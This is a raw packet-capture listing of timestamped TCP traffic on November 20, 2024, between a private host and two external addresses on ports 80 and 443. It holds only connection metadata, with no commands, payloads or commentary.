Nov 20, 2024 12:57:41.174536943 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.211443901 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.211523056 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.211576939 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.211577892 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.211611032 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.211616993 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.211616993 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.211646080 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.211648941 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.211678982 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.211697102 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.211714029 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.211724043 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.211749077 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.211755991 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.211783886 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.211792946 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.211817026 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.211843967 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.211863041 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.211863995 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.211895943 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.211904049 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.211936951 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.211945057 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.211977005 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.211983919 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.212009907 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.212014914 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.212054968 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.212059975 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.212094069 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.212100983 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.212131023 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.212135077 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.212165117 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.212172985 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.212202072 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.212203026 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.212235928 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.212240934 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.212271929 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.212275028 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.212306023 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.212311029 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.212338924 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.212348938 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.212372065 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.212378979 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.212459087 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.212481022 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.212492943 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.212496996 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.212524891 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.212529898 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.212558985 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.212563038 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.212595940 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.212596893 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.212630033 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.212878942 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.212912083 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.212924957 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.212945938 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.212949991 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.212977886 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.212982893 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.213011980 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.213016987 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.213043928 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.213051081 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.213078022 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.213083982 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.213113070 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.213116884 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.213146925 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.213155985 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.213176012 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.213184118 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.213208914 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.213212013 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.213243008 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.213252068 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.213274956 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.213284016 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.213310003 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.213315010 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.213342905 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.213347912 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.213382006 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.213696003 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.213728905 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.213747978 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.213763952 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.213764906 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.213798046 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.213804960 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.213830948 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.213836908 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.213865042 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.213870049 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.213898897 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.213901043 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.213931084 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.213938951 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.213964939 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.213969946 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.213998079 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.214006901 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.214030027 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.214031935 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.214062929 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.214066029 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.214095116 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.214103937 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.214128971 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.214129925 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.214160919 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.214165926 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.214195013 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.214576960 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.214612007 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.214624882 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.214646101 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.214648962 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.214679956 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.214684963 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.214714050 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.214720011 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.214749098 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.214754105 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.214783907 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.214787960 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.214823008 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.215101957 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.215135098 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.215150118 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.215167999 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.215167999 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.215203047 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.215209007 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.215236902 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.215240002 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.215270042 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.215276003 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.215302944 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.215334892 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.215341091 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.215353966 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.215389013 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.215398073 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.215421915 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.215425014 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.215456963 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.215460062 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.215490103 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.215496063 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.215523958 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.215526104 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.215558052 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.215563059 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.215596914 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.253119946 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.253143072 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.253166914 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.253177881 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.253190994 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.253201962 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.253213882 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.253226995 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.253249884 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.253304958 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.253648996 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.253664970 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.253696918 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.253840923 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.253854036 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.253866911 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.253880024 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.253885984 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.253892899 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.253906965 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.253922939 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.253943920 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.253990889 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.254005909 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.254028082 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.254065990 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.254529953 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.254545927 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.254563093 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.254580021 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.254602909 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.261076927 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.261184931 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:43.406348944 CET	49734	443	192.168.2.4	142.250.186.164
Nov 20, 2024 12:57:43.406397104 CET	443	49734	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:43.406462908 CET	49734	443	192.168.2.4	142.250.186.164
Nov 20, 2024 12:57:43.406687975 CET	49734	443	192.168.2.4	142.250.186.164
Nov 20, 2024 12:57:43.406707048 CET	443	49734	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:43.509026051 CET	49735	443	192.168.2.4	142.250.186.164
Nov 20, 2024 12:57:43.509078979 CET	443	49735	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:43.509134054 CET	49735	443	192.168.2.4	142.250.186.164
Nov 20, 2024 12:57:43.509372950 CET	49735	443	192.168.2.4	142.250.186.164
Nov 20, 2024 12:57:43.509388924 CET	443	49735	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:43.584166050 CET	49736	443	192.168.2.4	142.250.186.164
Nov 20, 2024 12:57:43.584220886 CET	443	49736	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:43.584281921 CET	49736	443	192.168.2.4	142.250.186.164
Nov 20, 2024 12:57:43.584500074 CET	49736	443	192.168.2.4	142.250.186.164
Nov 20, 2024 12:57:43.584515095 CET	443	49736	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:43.629456043 CET	49737	443	192.168.2.4	142.250.186.164
Nov 20, 2024 12:57:43.629494905 CET	443	49737	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:43.629575968 CET	49737	443	192.168.2.4	142.250.186.164
Nov 20, 2024 12:57:43.629765034 CET	49737	443	192.168.2.4	142.250.186.164
Nov 20, 2024 12:57:43.629777908 CET	443	49737	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.065670967 CET	443	49734	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.083271027 CET	49734	443	192.168.2.4	142.250.186.164
Nov 20, 2024 12:57:44.083334923 CET	443	49734	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.085026026 CET	443	49734	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.085165977 CET	49734	443	192.168.2.4	142.250.186.164
Nov 20, 2024 12:57:44.096858978 CET	49734	443	192.168.2.4	142.250.186.164
Nov 20, 2024 12:57:44.096992970 CET	443	49734	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.098642111 CET	49734	443	192.168.2.4	142.250.186.164
Nov 20, 2024 12:57:44.098661900 CET	443	49734	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.144387007 CET	443	49735	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.149326086 CET	49734	443	192.168.2.4	142.250.186.164
Nov 20, 2024 12:57:44.157049894 CET	49735	443	192.168.2.4	142.250.186.164
Nov 20, 2024 12:57:44.157082081 CET	443	49735	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.158143044 CET	443	49735	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.158200979 CET	49735	443	192.168.2.4	142.250.186.164
Nov 20, 2024 12:57:44.167241096 CET	49735	443	192.168.2.4	142.250.186.164
Nov 20, 2024 12:57:44.167478085 CET	443	49735	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.167515039 CET	49735	443	192.168.2.4	142.250.186.164
Nov 20, 2024 12:57:44.211333990 CET	443	49735	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.212198019 CET	49735	443	192.168.2.4	142.250.186.164
Nov 20, 2024 12:57:44.212218046 CET	443	49735	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.241996050 CET	443	49736	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.242249966 CET	49736	443	192.168.2.4	142.250.186.164
Nov 20, 2024 12:57:44.242278099 CET	443	49736	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.243278027 CET	443	49736	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.243324041 CET	49736	443	192.168.2.4	142.250.186.164
Nov 20, 2024 12:57:44.243736029 CET	49736	443	192.168.2.4	142.250.186.164
Nov 20, 2024 12:57:44.243788958 CET	443	49736	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.243891001 CET	49736	443	192.168.2.4	142.250.186.164
Nov 20, 2024 12:57:44.243901968 CET	443	49736	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.256434917 CET	443	49737	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.256635904 CET	49737	443	192.168.2.4	142.250.186.164
Nov 20, 2024 12:57:44.256648064 CET	443	49737	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.257703066 CET	443	49737	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.257755041 CET	49737	443	192.168.2.4	142.250.186.164
Nov 20, 2024 12:57:44.258107901 CET	49737	443	192.168.2.4	142.250.186.164
Nov 20, 2024 12:57:44.258187056 CET	443	49737	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.259059906 CET	49735	443	192.168.2.4	142.250.186.164
Nov 20, 2024 12:57:44.290436983 CET	49736	443	192.168.2.4	142.250.186.164
Nov 20, 2024 12:57:44.298347950 CET	49737	443	192.168.2.4	142.250.186.164
Nov 20, 2024 12:57:44.298363924 CET	443	49737	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.352669001 CET	49737	443	192.168.2.4	142.250.186.164
Nov 20, 2024 12:57:44.364736080 CET	443	49734	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.364799023 CET	443	49734	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.364834070 CET	443	49734	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.364836931 CET	49734	443	192.168.2.4	142.250.186.164
Nov 20, 2024 12:57:44.364866018 CET	443	49734	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.365190029 CET	49734	443	192.168.2.4	142.250.186.164
Nov 20, 2024 12:57:44.365205050 CET	443	49734	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.367923021 CET	443	49734	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.367970943 CET	49734	443	192.168.2.4	142.250.186.164
Nov 20, 2024 12:57:44.369262934 CET	49734	443	192.168.2.4	142.250.186.164
Nov 20, 2024 12:57:44.369287014 CET	443	49734	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.455774069 CET	443	49735	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.455827951 CET	443	49735	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.455859900 CET	443	49735	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.455885887 CET	443	49735	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.455893993 CET	49735	443	192.168.2.4	142.250.186.164
Nov 20, 2024 12:57:44.455924988 CET	443	49735	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.455936909 CET	49735	443	192.168.2.4	142.250.186.164
Nov 20, 2024 12:57:44.461471081 CET	443	49735	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.461519957 CET	49735	443	192.168.2.4	142.250.186.164
Nov 20, 2024 12:57:44.461528063 CET	443	49735	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.461582899 CET	443	49735	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.461621046 CET	49735	443	192.168.2.4	142.250.186.164
Nov 20, 2024 12:57:44.461627007 CET	443	49735	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.465874910 CET	443	49735	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.465925932 CET	49735	443	192.168.2.4	142.250.186.164
Nov 20, 2024 12:57:44.465933084 CET	443	49735	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.469027042 CET	443	49735	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.469135046 CET	49735	443	192.168.2.4	142.250.186.164
Nov 20, 2024 12:57:44.469141006 CET	443	49735	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.508753061 CET	49735	443	192.168.2.4	142.250.186.164
Nov 20, 2024 12:57:44.543926954 CET	443	49735	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.547141075 CET	443	49735	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.547169924 CET	443	49735	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.547213078 CET	49735	443	192.168.2.4	142.250.186.164
Nov 20, 2024 12:57:44.547224998 CET	443	49735	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.547271967 CET	49735	443	192.168.2.4	142.250.186.164
Nov 20, 2024 12:57:44.548834085 CET	443	49736	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.549423933 CET	443	49736	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.549468994 CET	49736	443	192.168.2.4	142.250.186.164
Nov 20, 2024 12:57:44.553201914 CET	443	49735	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.559412003 CET	443	49735	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.559464931 CET	49735	443	192.168.2.4	142.250.186.164
Nov 20, 2024 12:57:44.559473038 CET	443	49735	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.565529108 CET	443	49735	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.565777063 CET	49735	443	192.168.2.4	142.250.186.164
Nov 20, 2024 12:57:44.565784931 CET	443	49735	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.572145939 CET	443	49735	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.572185993 CET	443	49735	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.572227001 CET	49735	443	192.168.2.4	142.250.186.164
Nov 20, 2024 12:57:44.572236061 CET	443	49735	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.572315931 CET	49735	443	192.168.2.4	142.250.186.164
Nov 20, 2024 12:57:44.577919960 CET	443	49735	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.583475113 CET	443	49735	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.583502054 CET	443	49735	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.583518028 CET	49735	443	192.168.2.4	142.250.186.164
Nov 20, 2024 12:57:44.583525896 CET	443	49735	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.583570957 CET	49735	443	192.168.2.4	142.250.186.164
Nov 20, 2024 12:57:44.584116936 CET	49736	443	192.168.2.4	142.250.186.164
Nov 20, 2024 12:57:44.584147930 CET	443	49736	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.589060068 CET	443	49735	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.594608068 CET	443	49735	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.594651937 CET	49735	443	192.168.2.4	142.250.186.164
Nov 20, 2024 12:57:44.594657898 CET	443	49735	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.599556923 CET	443	49735	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.599591017 CET	443	49735	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.599596977 CET	49735	443	192.168.2.4	142.250.186.164
Nov 20, 2024 12:57:44.599608898 CET	443	49735	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.599646091 CET	49735	443	192.168.2.4	142.250.186.164
Nov 20, 2024 12:57:44.605799913 CET	443	49735	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.631351948 CET	443	49735	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.631428957 CET	49735	443	192.168.2.4	142.250.186.164
Nov 20, 2024 12:57:44.631468058 CET	443	49735	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.631520987 CET	443	49735	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.631555080 CET	443	49735	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.631594896 CET	49735	443	192.168.2.4	142.250.186.164
Nov 20, 2024 12:57:44.631603956 CET	443	49735	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.631701946 CET	49735	443	192.168.2.4	142.250.186.164
Nov 20, 2024 12:57:44.634368896 CET	443	49735	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.638920069 CET	443	49735	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.638983965 CET	49735	443	192.168.2.4	142.250.186.164
Nov 20, 2024 12:57:44.639014006 CET	443	49735	142.250.186.164	192.168.2.4
